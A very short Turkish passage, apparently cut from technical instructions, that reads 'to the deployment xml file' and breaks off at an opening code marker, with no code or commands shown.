dağıtım xml dosyasına **`